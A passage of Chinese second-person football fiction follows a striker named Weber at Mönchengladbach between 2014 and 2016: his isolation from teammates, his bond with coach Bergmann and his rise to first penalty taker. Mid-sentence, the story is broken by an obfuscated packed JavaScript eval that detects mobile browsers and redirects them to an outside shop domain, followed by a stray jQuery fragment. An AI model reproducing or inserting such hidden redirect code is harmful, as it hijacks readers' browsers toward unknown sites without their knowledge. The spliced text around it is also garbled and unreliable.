2014年，门兴格拉德巴赫
你在门兴的第一个赛季，出场14次，打进4球，助攻3次。
数据不算亮眼，但每次你上场，对手的后防线都会出现短暂的混乱——因为你像一头不知疲倦的公牛，冲撞、拼抢、冲刺，偶尔还会做出一些让人意想不到的传球。
法夫尔开始把你当作“秘密武器”，对阵体能下降的球队时放你上去收割。
你不太喜欢这个定位，但你记住了伯格曼的“三秒规则”，没有抱怨。
问题出在场外。你和队友之间有一道无形的墙。
你的德语没问题——你是波鸿人，德语比他们更纯正——但你不善于聊天。
更衣室里，大家聊欧冠、聊女人、聊新款跑车，你插不上嘴。
你每天训练结束后就回公寓，打游戏、吃外卖、偶尔给你母亲打电话。
队友们觉得你“冷漠”“不合群”，队里几个老将私下找法夫尔谈过：“韦伯从不参加队内聚餐，他是不是觉得自己比我们强？”
你没有觉得自己比别人强，你只是不知道该怎么跟他们相处。
法夫尔把你叫到办公室，问你：“你为什么不跟队友一起吃饭？”
你沉默了很久，然后说：“我不知道聊什么。”
法夫尔愣了一下，然后笑了：“你不用聊战术。你就跟他们坐在一起，说‘这牛排不错’就行。”
你记住了这句话。
周末队内聚餐，你端着一盘牛排坐到扎卡和克鲁泽旁边，说了一句：“这牛排不错。”扎卡看了你一眼，点了点头，克鲁泽递给你一瓶啤酒。
你们聊了十分钟，你一共说了七句话，其中三句是关于牛排的。
但那顿饭后，队友们对你的态度明显变了——不是变热情了，而是不再把你当怪物了。
——
2014年12月，波鸿
你在一线队站稳脚跟后，伯格曼也终于找到了工作——德乙球队圣保利邀请他担任主教练。
你听到消息的时候正在波鸿老家过圣诞节，你坐在沙发上，手机屏幕亮着，伯格曼的短信只有一句话：“我签了，来圣保利吗？”
你盯着屏幕看了很久。圣保利是德乙，门兴是德甲，去圣保利意味着降级、降薪、远离聚光灯。
但你也知道，如果没有伯格曼，你可能还在杜伊斯堡U19踢球，甚至已经放弃了职业梦想。你拨通了他的电话。
“教练，我不能去。”
伯格曼沉默了几秒：“我知道。我就是问问。”
“但我每赛季结束会去看你。”
“好。”
挂了电话，你坐在沙发上愣了很久。你哥从厨房端着一盘香肠走出来，问你咋了。
你说：“伯格曼去圣保利了。”你哥问：“你想去？”你说：“我不能去，我才刚在门兴踢上球。”
你哥把盘子放在茶几上，坐到你旁边：“你这个人，一辈子都在‘不能去’和‘想去’之间纠结。你自己想清楚，你到底想踢球，还是想跟着他？”
你没有回答。
你知道答案——你想跟着他，但你也想踢德甲。
这两个愿望在2014年的冬天无法共存。
——
2015年3月，汉堡
门兴客场对阵汉堡，你随队来到汉堡。
赛前一天，你请了假，坐地铁去圣保利的训练基地。
米勒恩门球场很小，看台老旧，但涂满了棕色的骷髅旗标志。
你站在训练场边，伯格曼正在带队做逼抢训练，他的声音还是那样慢吞吞的，但球员们很听话。他看见你了，没有笑，只是朝你点了点头，然后继续训练。
训练结束后，他走过来，手里拿着一个纸杯，里面是咖啡。
你们站在场边，聊了二十分钟。他问你踢了多少分钟、进了几个球、跟队友关系怎么样。
你一一回答，像学生向老师汇报作业。最后他说：“你踢得太少了。法夫尔不信任你。”
你低下了头。伯格曼继续说：“但你不应该来德乙。你留在德甲，哪怕坐板凳，也比在这里强。这里的训练强度不够。”
你抬头看他：“那你为什么来这里？”他喝了一口咖啡，苦笑道：“因为只有德乙要我。”
那天晚上，门兴2比0赢了汉堡，你没有出场。
但你坐在替补席上，脑子里一直在想伯格曼说的话——“你踢得太少了。”
你下定决心，回到门兴后要更加拼命。
——
2015年8月，门兴格拉德巴赫
2015-16赛季是你的突破赛季。
法夫尔在赛季初给了你更多时间，因为球队主力前锋拉斐尔受伤，你获得了连续五场首发的机会。
你打进4球，助攻2次，包括对阵拜仁时的一记暴力头球——你力压博阿滕，把球砸进诺伊尔的球门。
那场比赛门兴1比1逼平拜仁，赛后《图片报》的头条是《韦伯：锤子砸倒了拜仁》。
你开始享受这种被关注的感觉。球迷在论坛里叫你“马蒂亚斯·铁锤”，队友也开始在更衣室里用这个名字调侃你。
但真正让你发生质变的，是一件小事——
第九轮对阵勒沃库森，你在禁区内被放倒，裁判判了点球。
你是队内指定的第三
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728880|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
点球手，但第一、第二点球手都不在场上。
你抱着球走向点球点，心跳很稳。助跑，推射右下角，球进。你转过身，看到法夫尔在场边鼓掌。
赛后法夫尔在发布会上说：“韦伯是我们队里心理素质最好的球员，点球他罚，我放心。”
从那天起，你成为门兴的第一点球手。你主罚了四次点球，全部命中。
你的进球数开始攀升，赛季结束时，你各项赛事打进14球，成为队内第二射手。门兴排名第四，获得了欧冠资格赛的名额。
——
2016年5月，门兴格拉德巴赫
赛季结束后，伯格曼给你打了一个电话。他在圣保利干得不错，带队从德乙中游打到了升级附加赛区，但最终没能升入德甲。
他的合同还剩一年，但他告诉你，他可能不会续约了。
“有俱乐部找我谈，德甲的。”
“哪？”
“柏林赫塔。”
你沉默了。柏林赫塔，德甲中游球队，比门兴差半个档次，但离波鸿更近。
“你想让我去吗？”伯格曼问。
“你想让我去吗？”你反问。
“我不想影响你的决定。你在门兴已经站稳了，你应该留下来。”
“可是我想跟你踢球。”
电话那头安静了很久。伯格曼叹了口气：“你再等我一年。一年后，如果赫塔要我，我带你走。如果我不行，你就不用来。”
“一言为定。”
“一言为定。”
——
2016年8月，门兴格拉德巴赫
门兴在欧冠资格赛中淘汰了伯尔尼年轻人，你打进了两回合的唯一进球——点球。
欧冠正赛分组，门兴与巴塞罗那、曼城、凯尔特人同组。
你知道门兴出线希望渺茫，但你不关心。你只关心一件事：你终于站上了欧洲最顶级的舞台。
第一场主场对巴萨，你首发出场。你在禁区里和皮克、马斯切拉诺肉搏，几乎拿不到球，但你每一次争顶都拼尽全力。
第78分钟，你被换下，你的球衣已经被撕开了一道口子。你坐在替补席上，喘着粗气，看着梅西在草皮上散步，心里想：“原来世界级是这样的。”
小组赛六场，你只打进一球——客场对凯尔特人，你头球破门，但门兴还是1比2输了。
门兴小组垫底出局，你第一次感受到顶级赛场的残酷。回程的大巴上，你很沉默，扎卡坐在你旁边，拍了拍你的肩膀：“你还年轻，以后还有机会。”
你点了点头，但心里想的不是“还有机会”，而是“如果我以后再也没有机会呢？”